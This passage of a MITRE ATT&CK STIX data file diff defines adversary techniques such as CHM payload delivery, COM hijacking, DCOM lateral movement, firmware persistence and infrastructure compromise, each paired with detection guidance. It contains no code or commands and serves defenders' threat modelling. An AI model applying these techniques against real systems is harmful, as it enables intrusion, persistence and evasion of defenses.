"https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk", + "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.", + "source_name": "Microsoft HTML Help May 2018" + }, + { + "url": "https://msdn.microsoft.com/windows/desktop/ms644670", + "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.", + "source_name": "Microsoft HTML Help ActiveX" + }, + { + "source_name": "Microsoft HTML Help Executable Program", + "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.", + "url": "https://msdn.microsoft.com/windows/desktop/ms524405" + }, + { + "source_name": "MsitPros CHM Aug 2017", + "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.", + "url": "https://msitpros.com/?p=3909" + }, + { + "source_name": "Microsoft CVE-2017-8625 Aug 2017", + "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.", + "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Compiled HTML File", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-20T22:32:24.589Z", + "created": "2020-01-23T18:53:54.377Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", + "x_mitre_contributors": [ + "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International" + ], + "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/001", + "external_id": "T1218.001", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk", + "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.", + "source_name": "Microsoft HTML Help May 2018" + }, + { + "url": "https://msdn.microsoft.com/windows/desktop/ms644670", + "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.", + "source_name": "Microsoft HTML Help ActiveX" + }, + { + "url": "https://msdn.microsoft.com/windows/desktop/ms524405", + "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.", + "source_name": "Microsoft HTML Help Executable Program" + }, + { + "url": "https://msitpros.com/?p=3909", + "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.", + "source_name": "MsitPros CHM Aug 2017" + }, + { + "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625", + "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.", + "source_name": "Microsoft CVE-2017-8625 Aug 2017" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-10-23T15:04:14.614Z", + "name": "Component Firmware", + "created": "2017-05-31T21:31:22.374Z", + "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1109", + "external_id": "T1109", + "source_name": "mitre-attack" + }, + { + "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.", + "source_name": "SanDisk SMART" + }, + { + "source_name": "SmartMontools", + "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.", + "url": "https://www.smartmontools.org/" + }, + { + "source_name": "ITWorld Hard Disk Health Dec 2014", + "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.", + "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-23T23:48:33.904Z", + "name": "Component Firmware", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1542/002", + "external_id": "T1542.002", + "source_name": "mitre-attack" + }, + { + "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.", + "source_name": "SanDisk SMART" + }, + { + "source_name": "SmartMontools", + "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.", + "url": "https://www.smartmontools.org/" + }, + { + "source_name": "ITWorld Hard Disk Health Dec 2014", + "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.", + "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html" + } + ], + "x_mitre_data_sources": [ + "Driver: Driver Metadata", + "Firmware: Firmware Modification", + "Process: OS API Execution" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Ability to update component device firmware from the host operating system." + ], + "id": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host intrusion prevention systems", + "File monitoring" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "SYSTEM" + ], + "description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.", + "created": "2019-12-19T20:21:21.669Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Component Object Model", + "x_mitre_data_sources": [ + "Module: Module Load", + "Process: Process Creation", + "Script: Script Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-07-26T22:51:20.448Z", + "created": "2020-02-12T14:09:53.107Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)", + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1559/001", + "external_id": "T1559.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "source_name": "Fireeye Hunting COM June 2019" + }, + { + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" + }, + { + "source_name": "ProjectZero File Write EoP Apr 2018", + "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.", + "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html" + }, + { + "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", + "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/" + }, + { + "source_name": "Enigma MMC20 COM Jan 2017", + "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:19:44.725Z", + "name": "Component Object Model Hijacking", + "created": "2017-05-31T21:31:33.979Z", + "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1122", + "external_id": "T1122", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Component Object Model", + "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.", + "url": "https://msdn.microsoft.com/library/ms694363.aspx" + }, + { + "source_name": "GDATA COM Hijacking", + "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.", + "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence" + }, + { + "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com", + "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", + "source_name": "Elastic COM Hijacking" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Component Object Model Hijacking", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Module: Module Load" + ], + "x_mitre_version": "1.0", + "modified": "2020-11-10T18:19:44.750Z", + "created": "2020-03-16T14:12:47.923Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ", + "x_mitre_contributors": [ + "Elastic" + ], + "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/015", + "external_id": "T1546.015", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Component Object Model", + "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.", + "url": "https://msdn.microsoft.com/library/ms694363.aspx" + }, + { + "source_name": "GDATA COM Hijacking", + "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.", + "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence" + }, + { + "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com", + "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", + "source_name": "Elastic COM Hijacking" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Component Object Model and Distributed COM", + "x_mitre_version": "2.0", + "modified": "2020-03-30T13:36:10.069Z", + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_deprecated": true, + "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "revoked": false, + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1175", + "external_id": "T1175", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "source_name": "Fireeye Hunting COM June 2019" + }, + { + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" + }, + { + "source_name": "Microsoft COM ACL", + "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" + }, + { + "source_name": "Microsoft Process Wide Com Keys", + "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx" + }, + { + "source_name": "Microsoft System Wide Com Keys", + "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx" + }, + { + "source_name": "ProjectZero File Write EoP Apr 2018", + "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.", + "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html" + }, + { + "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", + "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/" + }, + { + "source_name": "Enigma MMC20 COM Jan 2017", + "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" + }, + { + "source_name": "Enigma DCOM Lateral Movement Jan 2017", + "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/" + }, + { + "source_name": "Enigma Excel DCOM Sept 2017", + "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/" + }, + { + "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017", + "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.", + "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Compromise Accounts", + "x_mitre_data_sources": [ + "Persona: Social Media", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-16T17:15:12.428Z", + "created": "2020-10-01T01:17:15.965Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a", + "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1586", + "external_id": "T1586", + "source_name": "mitre-attack" + }, + { + "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/", + "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "source_name": "AnonHBGary" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Compromise Client Software Binary", + "x_mitre_data_sources": [ + "File: File Modification", + "File: File Creation", + "File: File Deletion", + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-19T03:18:43.648Z", + "created": "2020-02-11T18:18:34.279Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", + "description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.", + "x_mitre_contributors": [ + "CrowdStrike Falcon OverWatch" + ], + "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1554", + "external_id": "T1554", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Compromise Hardware Supply Chain", + "x_mitre_version": "1.0", + "modified": "2020-03-23T12:51:45.475Z", + "created": "2020-03-11T14:28:40.064Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef", + "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_detection": "Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1195/003", + "external_id": "T1195.003", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Compromise Infrastructure", + "x_mitre_data_sources": [ + "Internet Scan: Response Metadata", + "Internet Scan: Response Content", + "Domain Name: Active DNS", + "Domain Name: Passive DNS", + "Domain Name: Domain Registration" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:01:48.871Z", + "created": "2020-10-01T00:36:30.759Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", + "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \n\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover 